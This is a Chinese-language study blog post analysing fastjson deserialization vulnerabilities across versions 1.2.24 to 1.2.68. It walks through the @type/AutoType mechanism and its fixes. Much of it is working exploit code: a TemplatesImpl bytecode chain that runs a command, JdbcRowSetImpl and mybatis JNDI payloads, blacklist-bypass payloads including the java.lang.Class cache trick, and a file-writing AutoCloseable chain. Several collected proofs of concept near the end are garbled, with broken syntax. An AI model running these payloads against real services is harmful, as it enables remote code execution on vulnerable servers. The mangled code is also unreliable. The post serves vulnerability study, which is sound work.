fastjson链1
前言 大佬博客,我参考了挺多的,https://yuy0ung.github.io/ 这篇至少要回答三个问题
fastjson全版本利用分析,不出网思路说几条,templatesimpl链子利用? 有点针对面试题学习的味道,尽量结合代码和靶机等等结合学习 然后再补一个Fastjson 远程代码执行漏洞 CVE-2026-16723 最低要求就是,至少要简单知道下原理和打法啥的
一起的话,算是至少至少要解决这四个问题
fastjson基础 Fastjson 是阿里开源的 Java JSON 库,号称“Java 最快 JSON 解析/生成器”,作用就是 把 Java 对象 ↔ JSON 字符串 互相转换,让网络传输、持久化、前后端交互更简单,这个转换过程也就相当于我们常说的序列化与反序列化了
首先就是一个demo
先添加一个依赖
文本内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.demo</groupId> <artifactId>fastjson1</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.release>21</maven.compiler.release> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.13.0</version> </plugin> </plugins> </build> </project>
按照这个结构输入代码之后,会弹让你加载为maven项目,或者这个鼠标右键也可以选择
demo代码内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.demo; import com.alibaba.fastjson.JSON; public class FastJsonDemo { public static void main(String[] args) { // 将一个 Java 对象序列化为 JSON 字符串 Person person = new Person("wuk0Ng", 18); String jsonString = JSON.toJSONString(person); System.out.println(jsonString); // 将一个 JSON 字符串反序列化为 Java 对象 String jsonString2 = "{\"age\":20,\"name\":\"Yuy0ung\"}"; Person person2 = JSON.parseObject(jsonString2, Person.class); System.out.println(person2.getName() + ", " + person2.getAge()); } // 定义一个简单的 Java 类 public static class Person { private String name; private int age; // 供反序列化时创建对象 public Person(){} public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } }
我看大佬给的代码很简单,但是我用的话会报错
https://yuy0ung.github.io/blog/java%E5%AE%89%E5%85%A8/%E7%BB%8F%E5%85%B8%E6%BC%8F%E6%B4%9E/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
我这边叫ai给我生成了稍微多点的内容,但是总体还是比较简洁的
主要就是这个
1 2 3 4 5 6 7 8 Person person = new Person("wuk0Ng", 18); String jsonString = JSON.toJSONString(person); System.out.println(jsonString); // 将一个 JSON 字符串反序列化为 Java 对象 String jsonString2 = "{\"age\":20,\"name\":\"wuk0Ng\"}"; Person person2 = JSON.parseObject(jsonString2, Person.class); System.out.println(person2.getName() + ", " + person2.getAge());
运行结果
1 2 "age":18,"name":"wuk0Ng"} wuk0Ng, 20
一个非常简单的序列化和反序列化过程
可以看到我们使用JSON.toJSONString()和JSON.parseObject()就完成了序列化和反序列化,非常方便
字段映射关系 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.annotation.JSONField; public class FastJsonDemo { public static void main(String[] args) { // 将一个 Java 对象序列化为 JSON 字符串 Person person = new Person("wuk0Ng", 18); String jsonString = JSON.toJSONString(person); System.out.println(jsonString); // 将一个 JSON 字符串反序列化为 Java 对象 String jsonString2 = "{\"user_age\":20,\"user_name\":\"wuk0Ng\"}"; Person person2 = JSON.parseObject(jsonString2, Person.class); System.out.println(person2.getName() + ", " + person2.getAge()); } // 定义一个简单的 Java 类 public static class Person { @JSONField(name = "user_name") private String name; @JSONField(name = "user_age") private int age; // 无参构造,fastjson反序列化必需 public Person(){} public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public int getAge() { return age; } } }
在使用fastjson时,我们需要先将json字符串和java对象之间建立映射关系,可以通过类的属性和JSON字段名进行映射。我们上面的代码中,Java类的属性名和JSON字段名是相同的,因此可以直接使用Person.class来进行映射
如果不同,可以使用@JSONField注解来指定Java类的属性和JSON字段之间的映射关系:
看懂代码里面的映射
1 2 @JSONField(name = "user_name") private String name;
json字符串里的字段叫user_name
java代码里的成员变量叫name
把json里面的user_name值,赋值给java的name
运行结果
1 2 {"user_age":18,"user_name":"wuk0Ng"} null, 0
这样就可以实现java类属性与json字段的对应
字段顺序 默认情况下,生成的JSON字符串的顺序是按照属性的字母顺序 进行排序的,而不是按照属性在类中的声明顺序
如果我们希望按照属性在类中的声明顺序来生成JSON字符串,可以通过在类中使用@JSONType(orders = {"name", "age"})注解来设置属性的序列化顺序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.annotation.JSONField; public class FastJsonDemo { public static void main(String[] args) { // 将一个 Java 对象序列化为 JSON 字符串 Person person = new Person("wuk0Ng", 18); String jsonString = JSON.toJSONString(person); System.out.println(jsonString); // 将一个 JSON 字符串反序列化为 Java 对象,user_age放在JSON最前面 String jsonString2 = "{\"user_age\":20,\"user_name\":\"wuk0Ng\"}"; Person person2 = JSON.parseObject(jsonString2, Person.class); System.out.println(person2.getName() + ", " + person2.getAge()); } // 定义一个简单的 Java 类 public static class Person { @JSONField(name = "user_age") private int age; @JSONField(name = "user_name") private String name; // 无参构造,fastjson反序列化必需 public Person(){} public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public int getAge() { return age; } } }
输入结果
1 2 {"user_age":18,"user_name":"wuk0Ng"} null, 0
类型注解@type @type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型,比如这个demo(需要注意的是:由于fastjson在1.2.24之后默认禁用AutoType,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");来开启,否则会报错autoType is not support):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.io.IOException; public class FastJsonCalc { public static void main(String[] args) throws IOException { String json = "{\"@type\":\"java.lang.Runtime\"}"; ParserConfig.getGlobalInstance().addAccept("java.lang"); Runtime runtime = (Runtime) JSON.parseObject(json, Object.class); runtime.exec("open -a calculator"); } }
可以看到这里的@type字段指定了反序列化结果为java.lang.Runtime 类的实例,所以可以调用反序列化生成的Runtime对象进行命令执行:
再来一个demo 先创建一个Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.demo; public class Person { private String name; private int age; public Person() {} @Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
FastJsonTest类
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class FastJsonTest { public static void main(String[] args) { Person user = new Person(); user.setAge(20); user.setName("wuk0Ng"); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s1); } }
我们发现此时生成的json自带@type字段了,其实就是在调用toJSONString方法的时候,参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本
FastJson的漏洞就是这个@type功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法,我们接下来详细分析
链路完整分析 1.序列化阶段
代码
1 2 3 4 5 6 Person user = new Person(); user.setAge(20); user.setName("wuk0Ng"); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s1);
WriteClassName这个特性:序列化时,自动增加@type字段 ,写入完整类名
输出json
1 {"@type":"com.demo.Person","name":"wuk0Ng","age":20}
@type的值 = 对象真实全限定类名。 作用:把类型信息打包进 JSON 文本 ,不只是字段数据
2.正常反序列化
1 2 3 4 String json = "{\"@type\":\"com.demo.Person\",\"name\":\"wuk0Ng\",\"age\":20}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); Object obj = JSON.parseObject(json, Object.class);
拿到上面这个 JSON,开启 AutoType,调用parseObject(json, Object.class)
执行链路:
Fastjson 开始解析 JSON 字符串
读到 key=@type,取出值com.demo.Person
使用反射加载com.demo.Person类
调用无参构造,实例化 Person 对象
解析剩下字段 name、age,调用 setter 赋值
返回 Person 实例(向上转型为 Object)
不知道返回对象是什么类型,靠 JSON 自带@type自动还原原对象
3.漏洞攻击完整链路
前提条件:
1.服务器开启AutoType
2.攻击者可以完全控制传入的json字符串
攻击流程:
攻击者构造恶意 JSON:{"@type":"危险类全类名",其他字段...}
把这个恶意 JSON 发给后端接口
后端调用 JSON.parseObject(json, Object.class)
Fastjson 解析 JSON,读取@type,拿到攻击者指定的危险类名
反射加载这个危险类,调用无参构造器创建实例
继续解析 JSON 里其他字段,自动调用对应 setter 方法赋值
👉 关键:这个危险类的 setter/getter 内部,藏有恶意逻辑(gadget)
执行到 getter/setter 时,触发代码,最终走到Runtime.exec()实现命令执行
不是 @type 直接执行命令 @type 只负责:告诉 Fastjson,实例哪一个类。 真正恶意代码,藏在这个类属性的 get/set 方法里面
写到这里已经很清晰这个的攻击方法啥的了,要是还是不理解就多看几遍,真写的很详细了
fastjson漏洞 fastjson<=1.2.24 反序列化漏洞 TesmplatesImpl动态加载字节码(英文读法:坦普雷茨 - 英普) gadget盖杰特,就是一串类 / 方法调用,拼接起来实现攻击效果。TemplatesImpl 就是一条经典 gadget
我这里是jdk8的,注意jdk版本 然后可能因为这个mac和win的不一样,这里都需要自己去区分和改代码(比如改pom.xml啥的) 然后是在不行就叫agent改就ok了
然后做到弹计算器就ok了
我现在的这个项目结构
然后FastJsonTemplatesDemo类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.wuk0ng; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import javassist.ClassPool; import java.util.Base64; /** * fastjson 1.2.24 + TemplatesImpl 反序列化 * 注意:1.2.24 的 ParserConfig 没有 setAutoTypeSupport(),该版本默认就解析 @type */ public class FastJsonTemplatesDemo { public static void main(String[] args) throws Exception { // 直接拿 RCETest 编译后的字节码,不用手工用 javassist 拼类 byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode(); String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\"" + Base64.getEncoder().encodeToString(code) + "\"]," + "\"_name\":\"a.b\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}}"; // TemplatesImpl 的字段都是私有的,必须 SupportNonPublicField JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); System.out.println("done"); } }
RCETest类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package com.wuk0ng; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /** * 恶意 Translet:字节码被塞进 TemplatesImpl._bytecodes,newInstance() 时静态块执行 */ public class RCETest extends AbstractTranslet { // postInitialization() 里会 namesArray.length(transletVersion 默认 0 < 101),不初始化就 NPE { namesArray = new String[0]; urisArray = new String[0]; typesArray = new int[0]; namespaceArray = new String[0]; } static { try { Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "open -a calculator"}); } catch (Exception e) { e.printStackTrace(); } } // AbstractTranslet 里唯一需要自己实现的抽象方法 @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } // Translet 接口里还有一个没被 AbstractTranslet 实现的(javac 会强制要求) @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } // 注意:transform(DOM, SerializationHandler) 在 AbstractTranslet 里是 final,不能覆写 }
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.demo</groupId> <artifactId>fastjson1</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.13.0</version> </plugin> </plugins> </build> </project>
而我们分析这个payload就知道这里实际上就是我们学过的TemplatesImlp动态加载字节码
即构造一个TemplatesImpl类的反序列化字符串,其中_bytecodes是我们构造的恶意类的类字节码,这个类的父类是AbstractTranslet,最终这个类会被加载并使用newInstance()实例化。在反序列化过程中,由于getter方法getOutputProperties()满足条件,将会被fastjson调用,而漏洞利用的限制条件也很明显:需要代码中加了Feature.SupportNonPublicField,即允许向对象的非public属性赋值
链路分析-TesmplatesImpl动态加载字节码 Fastjson 在解析 JSON 时,识别@type指定TemplatesImpl类,反序列化填充它的私有字段;当访问_outputProperties字段,会触发getOutputProperties(),内部加载_bytecodes里自定义字节码;因为恶意类继承AbstractTranslet,JVM 加载该类的瞬间执行static静态代码块,执行系统命令
1.EXP 准备阶段(FastJsonTemplatesDemo.main)
1 byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();
javassist 读取已经编译好的 RCETest.class 字节码 ,做 Base64 编码
构造 JSON payload:
1 2 3 4 5 6 7 8 { "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["base64恶意字节码"], "_name":"a.b", "_tfactory":{}, "_outputProperties":{} }
字段说明:
@type:fastjson1.2.24 默认开启 AutoType,指定要反序列化的目标类TemplatesImpl
_bytecodes:TemplatesImpl 内置属性,存放要加载的字节码数组(RCETest)
_name:类名,随便填,用来做类加载标识
_tfactory:Transformer 工厂,填空对象即可
_outputProperties:触发入口! 只要给这个字段赋值,会调用 getter getOutputProperties()
2.Fastjson 反序列化入口
1 JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
Feature.SupportNonPublicField 是必须项: TemplatesImpl 的_bytecodes/_name/_tfactory/_outputProperties全部是private私有成员;不加这个 Feature,fastjson 无法给私有字段赋值,漏洞无法触发。
fastjson 解析 JSON,看到@type,反射实例化 TemplatesImpl 对象,依次填充各个私有字段
3.关键触发:填充 _outputProperties → 自动调用 getOutputProperties()
fastjson 在给_outputProperties赋值时,会调用该字段的 getter 方法 TemplatesImpl.getOutputProperties()
1 2 3 4 5 //TemplatesImpl源码简化 public Properties getOutputProperties() { newTransformer(); ... }
getOutputProperties() 内部执行 newTransformer()
4.newTransformer () → defineTransletClasses () 加载_bytecodes 字节码
1 2 TemplatesImpl#newTransformer() → TemplatesImpl#defineTransletClasses()
defineTransletClasses 会:
读取 _bytecodes 数组里面的字节码
自定义 ClassLoader,把字节码动态定义成 Java 类
强制校验:这个类必须继承 AbstractTranslet (这就是 RCETest 要继承这个抽象类的原因)
校验通过后,JVM 加载这个 RCETest 类
5.JVM 加载 RCETest 类 → 执行 static 静态代码块(命令执行)
1 2 3 4 5 6 7 static { try { Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "open -a calculator"}); } catch (Exception e) { e.printStackTrace(); } }
执行系统命令,Mac 弹出计算器
到这里应该链路还是非常清晰的
JdbcRowSetImpl打JNDI注入 这里我们会接触到一个新的类:com.sun.rowset.JdbcRowSetImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.yuy0ung.fastjson1_2_24; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class FastJsonJdbcRowSetImpl { public static void main(String[] args) throws Exception { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"rmi://127.0.0.1:1099/hello\"," + "\"autoCommit\":\"true\"}"; deserialize(payload); } public static void deserialize(String json) throws Exception { ParserConfig parserConfig = new ParserConfig(); Object obj = JSON.parseObject(json, Object.class, parserConfig, Feature.SupportNonPublicField); } }
注意这里的rmi服务就是我们JNDI注入使用的server,运行后发现成功执行命令,也就是弹计算机了 我们看payload就已经知道这里是打了一个JNDI注入,接下来我们分析一下为什么这个JdbcRowSet可以触发JNDI
JNDI查询肯定是从lookup函数触发,我们找一下发现在connect()方法中:
然后找调用connect()函数的地方,发现一个getter和一个setter:
很明显这里在反序列化时无法调用getter,所以重点看这个setter,在conn为null时触发connect,在fastjson中,实例化类时是调用的newInstance(),也就是会调用默认的构造方法,可以看一下这里的默认的构造方法:
这里会将conn设置为null,没毛病,那再看看connect()需要的参数:
我们需要控制这个getDataSourceName()的值,跟进一下:
发现是返回的父类BaseRowSet的一个变量,并且父类存在setter方法来进行赋值:
那么我们就可以构造出对应的json:
1 2 3 4 5 6 { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/hello", "autoCommit":"true" }
这里其实就不用多管这个链路了
1.2.25<=fastjson<=1.2.41 反序列化 在fastjson自爆1.2.24版本的反序列化漏洞后,1.2.25版本就加入了黑白名单机制, 例如我们更换并下载1.2.25版本的fastjson,然后再去执行原来的poc: 发现已经无法命令执行了,并且报错autoType is not support
我们通过查看源码可以发现添加了黑名单: 黑名单内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
这就导致了我们前面的payload都失效了 继续向下定位到CheckAutoType:
我们看这里的逻辑,如果开启了autoType,那么就先判断类名在不在白名单中,如果在就用TypeUtils.loadClass加载,如果不在就去匹配黑名单
继续往下走:
如果没开启autoType,则先匹配黑名单,然后再白名单匹配和加载
最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了autoType或者expectClass不为空也就是指定了Class对象时才会调用TypeUtils.loadClass加载,否则fastjson会默认禁止加载该类:
我们看这个TypeUtils的loadclass()方法:
这里的代码逻辑是:如果类名的字符串以[开头,就是@type键的值以[开头,则说明该类是一个数组类型,就使用substring方法来截断获取[后面的方法,然后再次调用loadClass()方法来加载需要递归调用loadClass方法来加载数组元素类型对应的Class对象,然后使用Array.newIntrance方法来创建一个空数组对象,最后返回该数组对象的Class对象;如果类名的字符串以L开头并以;结尾,则说明该类是一个普通的Java类,需要把开头的L和结尾的;给去掉,然后递归调用loadClass
问题就出现在这里,可以针对这个逻辑进行绕过: 我们需要先开启默认禁用的autoType:
1 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
接下来就是构造POC了,分析了上面的逻辑就知道可以用L和分号来bypass:
1 2 3 4 5 6 7 8 9 10 { "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://127.0.0.1:1099/hello", "autoCommit":"true" }
也可以用[来绕过
1 2 3 4 5 6 7 8 9 10 { "@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"rmi://127.0.0.1:1099/hello", "autoCommit":"true" }
fastjson 1.2.42 反序列化 前面提到的数组payload不受影响仍然能打:
但是L和分号的payload不行了:
这里又说不支持这个类,多半是黑名单逻辑改了,分析一下可以看到黑名单变成了哈希值:
这里对首字符和尾字符做一次简化版 FNV-1a 风格的哈希运算来看有没有L开头和分号结尾,有的话就截取后传给下一步的检验:
然后用hash来检验黑名单
其实很好想到,上面对头尾的检测只做了一次,而最后loadclass的逻辑是递归调用来循环去除L和分号:
所以我们这里可以双写L和;进行绕过:
1 2 3 4 5 6 { "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:1099/hello", "autoCommit":"true" }
相当于这里的检验只去除一次,而loadclass能去除两次再加载,既然这样,写多少次其实都能去除:
fastjson 1.2.43 反序列化 数组仍然可行:
但是双写失败了:
直接两次if,如果存在双写直接输出不支持,那没办法,只能打数组的绕过了
fastjson 1.2.44 在这个版本,数组的绕过也被修复了:
修复方法就是增加判断:
第一个if判断开头是否为[,第二个if判断首尾是不是L和;,这里就把两种bypass完全修复了
1.2.25 <= fastjson <= 1.2.45 反序列化 这个版本存在组件黑名单绕过,并没有禁用mybatis的一个组件,所以实际1.2.25 <= fastjson <= 1.2.45版本都存在
首先添加依赖:
1 2 3 4 5 6 7 8 9 10 <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.7</version> </dependency>
payload
1 2 3 4 5 6 7 8 9 10 11 12 { "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{ "data_source":"rmi://127.0.0.1:1099/hello" } }
可以触发对应类的setter的lookup方法:
利用jndi注入到命令执行
1.2.25 <= fastjson <= 1.2.47 反序列化 这是一个很重要的利用方法,甚至不需要ParserConfig.getGlobalInstance().setAutoTypeSupport(true)来开启autoType
先看POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1/exp", "autoCommit":true } }
我们使用这个进行fastjson反序列化,可以成功命令执行:
分析POC会发现,外面又套了一个json,并且加了一个{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},我们分析一下为什么能够绕过
首先还是看checkAutoType():
我们重点看未开启autoType时的操作,首先是getClassFromMapping,在mapping中获取class:
如果不行就是第二种方法,从deserializers中获取:
但是deserializers是private类型的,虽然当前类里面有一个public的putDeserializer方法,但只有一个地方调用了,没法构成调用链,所以重点关注这个同样private类型的mapping,而在TypeUtils.loadClass中有调用到mappings.put:
经过查找发现MiscCodec.deserialze调用了TypeUtils.loadClass:
而strVal变量是通过objVal变量强转来的:
而objVal则是通过调用Default#parse()方法获取的:
我们看下之前的deserializers中哪里调用了MiscCodec:
这里是放入了一个Class.class的键,所以结合前面的分析,当我们正常反序列化时,是会获取deserializer并调用它的deserialze()方法,所以对应的,我们可以先尝试传入Class.class,从而获取到MiscCodec类实例,从而调用到它的deserialze()方法,从而往mappings中放入想要利用的类,从而在直接在后续中获得想要的类,那么我们的payload就出来了,json就像前面的demo那样构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class FastJson_Demo { public static void main(String[] args) throws Exception { String payload = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"rmi://127.0.0.1:1099/hello\",\n" + " \"autoCommit\":true\n" + " }\n" + "}"; deserialize(payload); } public static void deserialize(String json) throws Exception { Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField); } }
总结一下:
1.2.47版本默认不开启AutoType,所以我们尝试向mapping或serializer添加类,寻找相关可控方法,最后决定利用loadClass方法向mapping中添加类
想要调用对应的loadClass方法,需要调用MiscCodec#deserialze方法,且需要clazz为Class.class类型。其次还需要控制我们添加的类名为strVal,不断往前回溯,即val变量的值。
想要调用MiscCodec#deserialze方法,我们需要对fastjson解析json有一定了解,对于deserialze方法通常会在DefaultJSONParser类中被调用,所选取的对象则是通过getDeserializer方法获取
由于我们要利用的是java.lang.Class,而恰好deserializers又缓存Class.class,且Value正是MiscCodec对象,getDeserializer方法正是获取key所对应的value
然后就是通过构造如下json,通过调用MiscCodec#deserialze方法将恶意对象的名字加进mapping中,加载到mapping中以后,在下一次checkAutoType的时候,直接就返回了,绕过了检验的部分直接执行
1.2.48 ~ 1.2.68 expectclass绕Autotype
@type反序列化时指定了expectclass,也就是指定了期望类Throwable.class
没有开AutoType,并且如果指定了expectclass
要反序列化的类不在白名单中,也可以进行加载不在黑名单中的某些满足条件的类
1 2 1、黑名单限制 2、漏洞利用类必须拥有一个在autotype关着的情况下可以生成实例的父类
后面都是各位大佬的poc,仅作收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.heptagram.fastjson; import com.alibaba.fastjson.JSONObject; public class ThrowableMain { public static void main(String[] args) { String payload = "{\n" + " \"@type\":\"java.lang.Exception\" ,\n" + " \"@type\": \"org.heptagram.fastjson.ViaThrowable\" " \"domain\": \"qbknro.dnslog.cn|calc\"\n" + "}"; JSONObject.parseObject(payload); ,\n" + } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.heptagram.fastjson; import java.io.IOException; public class ViaThrowable extends Exception { private String domain; public ViaThrowable() { super(); } public String getDomain() { return domain; public void setDomain(String domain) { this.domain = domain; } } @Override public String getMessage() { try { Runtime.getRuntime().exec("cmd /c ping "+domain); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } }
Runnable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package org.heptagram.fastjson; import java.io.IOException; public class ExecRunnable implements AutoCloseable { private EvalRunnable eval; public EvalRunnable getEval() { return eval; public void setEval(EvalRunnable eval) { this.eval = eval; } @Override public void close() throws Exception { } } } class EvalRunnable implements Runnable { private String cmd; public String getCmd() { System.out.println("EvalRunnable getCmd() "+cmd); try { Runtime.getRuntime().exec(new String[]{"cmd" } catch (IOException e) { e.printStackTrace(); , } "/c" ,cmd}); return cmd; } public void setCmd(String cmd) { this.cmd = cmd; } @Override public void run() { } } -------------------------------------------------------- package org.heptagram.fastjson; import com.alibaba.fastjson.JSONObject; public class ExecRunnableMain { public static void main(String[] args) { String payload = "{\n" + " \"@type\":\"java.lang.AutoCloseable\" ,\n" + " \"@type\": \"org.heptagram.fastjson.ExecRunnable\" ,\n" + " \"eval\": {\"@type\":\"org.heptagram.fastjson.EvalRunnable\" ,\"cmd\":\"calc.exe\"}\n" + "}"; JSONObject.parseObject(payload); } }
AutoCloseable_writefile_rmb122.json(适用于JDK 11)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 //写文件 // echo -ne "RMB122 is here" | openssl zlib | base64 -w 0 //eJwL8nUyNDJSyCxWyEgtSgUAHKUENw== //$ echo -ne "RMB122 is here" | openssl zlib | wc -c //22 { '@type':"java.lang.AutoCloseable" , '@type':'sun.rmi.server.MarshalOutputStream' 'out': , { '@type':'java.util.zip.InflaterOutputStream' , 'out': { '@type':'java.io.FileOutputStream' 'file':'dst' , , 'append':false }, 'infl': { 'input': { 'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw== 'limit':22 ' } }, 'bufLen':1048576 }, 'protocolVersion':1 , }
AutoCloseable_writefile_rmb122_8.json(适用于JDK 8/10)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { '@type':"java.lang.AutoCloseable" , '@type':'sun.rmi.server.MarshalOutputStream' 'out': , { '@type':'java.util.zip.InflaterOutputStream' , 'out': { '@type':'java.io.FileOutputStream' 'file':'dst' , , 'append':false }, 'infl': { 'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw== ' }, 'bufLen':1048576 }, 'protocolVersion':1 }
rce
(利用类必须是expectClass类的子类或实现类,并且不在黑名单中)
